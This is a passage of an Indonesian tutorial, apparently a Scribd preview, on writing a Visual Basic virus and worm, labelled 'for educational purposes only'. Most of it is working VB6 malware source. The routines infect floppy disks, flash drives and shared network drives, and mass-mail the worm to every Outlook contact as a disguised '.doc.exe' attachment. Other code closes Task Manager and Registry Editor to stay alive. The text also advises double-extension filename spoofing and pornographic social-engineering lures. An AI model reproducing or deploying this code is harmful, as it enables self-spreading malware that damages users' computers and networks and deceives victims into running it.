fNum = 0 Do While Dir(exePath & App.EXEName & fNum & ".exe") <> "" fNum = fNum + 1 Loop fname = exePath & App.EXEName & fNum & ".exe" On Error GoTo finally Open fname For Binary Access Write As #2 Put #2, , OriginalCode 'tulis ke file sementara Close #2 'tutup file sementara finally: Close #1 Call VirInstall If Not SudahLoad Then Load ff End If Call ExecuteOriginal(fname) Kill fname End If End Sub

'aktifkan timer virus

'hapus file sementara

Private Sub ExecuteOriginal(fname) Dim Host As Long, HProc As Long, HExit As Long Host = Shell(fname, vbNormalFocus) 'jalankan fname HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host) GetExitCodeProcess HProc, HExit 'ambil status aktif Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif DoEvents 'lakukan event yang lain GetExitCodeProcess HProc, HExit Loop End Sub Private Function SudahLoad() As Boolean Dim vir_hwnd As Long 'Jika Jendela virus aktif vir_hwnd = FindWindow(vbNullString, titleSudahLoad) SudahLoad = Not (vir_hwnd = 0) End Function

4

Hanya untuk tujuan pendidikan saja

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai. Public Sub InfeksiFloppy() On Error GoTo BatalInfeksi Dim floppy_hwnd As Long Dim fname As String 'Jika Jendela Floppy terbuka floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)") If Not floppy_hwnd = 0 Then Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan End If BatalInfeksi: End Sub Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C. Public Sub InfeksiFlashDisk() On Error GoTo BatalInfeksi Dim ObjFSO As Object Dim ObjDrive As Object Set ObjFSO = CreateObject("Scripting.FileSystemObject") For Each ObjDrive In ObjFSO.Drives 'Asumsi semua removable drive diatas huruf C adalah flash disk '1 - Removable drive '2 - Fixed drive (hard disk) '3 - Mapped network drive '4 - CD-ROM drive '5 - RAM disk If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC") End If Next BatalInfeksi: End Sub Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi : Public Sub InfeksiMySharing() Dim shares() As String, share As Variant, target As String If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then For Each share In shares

5

Hanya untuk tujuan pendidikan saja target = share Call InfeksiResource(target, "XLSDOCEXE") Next share End If End Sub Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack. Public Sub AmbilDomain() Dim Domains() As String, Domain As Variant If GetShares("", "Microsoft Windows Network", Domains) = True Then For Each Domain In Domains If Not stackDomain.isFull Then stackDomain.Push (Domain) End If Next Domain End If End Sub Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack. Public Sub AmbilComputer() Dim Computers() As String, Domain As String, Computer As Variant If Not stackDomain.isEmpty() Then Domain = stackDomain.Pop() If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then For Each Computer In Computers If Not stackComputer.isFull Then stackComputer.Push (Computer) End If Next Computer End If End If End Sub Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer : Public Sub AmbilDrive() Dim Drives() As String, Computer As String, Drive As Variant If Not stackComputer.isEmpty() Then Computer = stackComputer.Pop() If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then For Each Drive In Drives If Not stackDrive.isFull Then

6

Hanya untuk tujuan pendidikan saja stackDrive.Push (Drive) End If Next Drive End If End If End Sub Public Sub InfeksiNetworkDrive() Dim target As String If Not stackDrive.isEmpty() Then target = stackDrive.Pop() Call InfeksiResource(target, "XLSDOCEXE") End If End Sub Melakukan penyebaran melalui fasilitas email : Public Sub SpreadEmailOutlook() Dim Outlook As Object Dim Mapi As Object Dim Mail As Object Dim AddressBook As Variant Dim MailAddress As Variant Dim i As Integer, j As Integer On Error GoTo finally Set Outlook = CreateObject("Outlook.Application") Set Mapi = Outlook.GetNamespace("MAPI") For i = 1 To Mapi.AddressLists.Count Set AddressBook = Mapi.AddressLists(i) For j = 1 To AddressBook.AddressEntries.Count MailAddress = AddressBook.AddressEntries(j) Set Mail = Outlook.CreateItem(0) Mail.Recipients.Add (MailAddress) Mail.Subject = "Subject Virus Anda" Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment." Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe" Mail.Send Next Next finally: Set Outlook = Nothing Set Mapi = Nothing

7

Hanya untuk tujuan pendidikan saja End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus. Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai. Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya. Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension : Misalnya : SuratCinta.doc.pif Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai : SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

8

Hanya untuk tujuan pendidikan saja Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment. Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya
Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut : WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD" WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD" Maupun melacak jendela proses-proses musuh, dan menutupnya. Public Sub KillEnemy() Dim EnemyProcess(20) As String Dim i As Integer EnemyProcess(1) = "Registry Editor" EnemyProcess(2) = "Windows Task Manager" EnemyProcess(3) = "Process Viewer" EnemyProcess(4) = "Open With" For i = 1 To 4 Step 1 Call KillEnemyWindow(EnemyProcess(i)) Next i End Sub Private Sub KillEnemyWindow(target As String) Dim Enemy_hwnd As Long Enemy_hwnd = FindWindow(vbNullString, target) If Not Enemy_hwnd = 0 Then CloseWindow (Enemy_hwnd) End If End Sub

Kesimpulan :

9

Hanya untuk tujuan pendidikan saja Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintahperintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula. Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A
‘API Declaration Modul Option Explicit Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long Public Const STILL_ACTIVE As Long = &H103 Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Public Type NETRESOURCE dwScope As Long dwType As Long dwDisplayType As Long dwUsage As Long lpLocalName As Long lpRemoteName As Long lpComment As Long lpProvider As Long End Type Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _ (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _ lpNetResource As NETRESOURCE, lphEnum As Long) As Long Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _

10

Hanya untuk tujuan pendidikan saja (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _ (ByVal lpString1 As String, ByVal pString As Long) As Long Const RESOURCE_GLOBALNET = 2 Const RESOURCETYPE_DISK = 1 Const RESOURCEDISPLAYTYPE_DOMAIN = 0 Const RESOURCEUSAGE_CONTAINER = 1 Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean Dim hEnum As Long, nrLen As Long, nrCount As Long Dim nr(2048) As NETRESOURCE, retval As Boolean nrCount = -1 nrLen = 65536 RemoteName = StrConv(RemoteName, vbFromUnicode) nr(0).lpRemoteName = StrPtr(RemoteName) Provider = StrConv(Provider, vbFromUnicode) nr(0).lpProvider = StrPtr(Provider) nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN nr(0).dwUsage = RESOURCEUSAGE_CONTAINER If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then If nrCount > 0 Then ReDim sShares(nrCount - 1) As String For nrLen = 0 To (nrCount - 1) sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName)) Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName) Next nrLen retval = True End If End If Call WNetCloseEnum(hEnum) End If GetShares = retval End Function

Lampiran B

11

Hanya untuk tujuan pendidikan saja ‘Form ff Option Explicit Dim SedangInfeksi As Boolean Dim SpreadEmail As Boolean Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk Dim Loncat As Integer Private Sub AT_Timer() Call KillEnemy If Not SedangInfeksi Then ‘jangan overlapping proses SedangInfeksi = True If Aktifitas = 0 Then Call InfeksiMySharing ElseIf Aktifitas = 1 Then Call AmbilDomain ElseIf Aktifitas = 2 Then Call AmbilComputer ElseIf Aktifitas = 3 Then Call AmbilDrive ElseIf Aktifitas = 4 Then Call InfeksiNetworkDrive ElseIf Aktifitas = 5 Then Call InfeksiFloppy ElseIf Aktifitas = 6 Then 'Call InfeksiFlashDisk ElseIf Aktifitas = 7 Then Call InfeksiMySharing ElseIf Aktifitas = 8 Then If Not SpreadEmail Then Call SpreadEmailOutlook SpreadEmail = True End If Aktifitas = 1 End If Aktifitas = (Aktifitas + 1) SedangInfeksi = False End If End Sub Main Program Private Sub Form_Load() Me.Visible = False Me.Caption = titleSudahLoad AT.Interval = 1000 SedangInfeksi = False

12

Hanya untuk tujuan pendidikan saja SpreadEmail = False Aktifitas = 0 Loncat = 0 AT.Enabled = True End Sub

13

You're Reading a Free Preview

Mengunduh
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->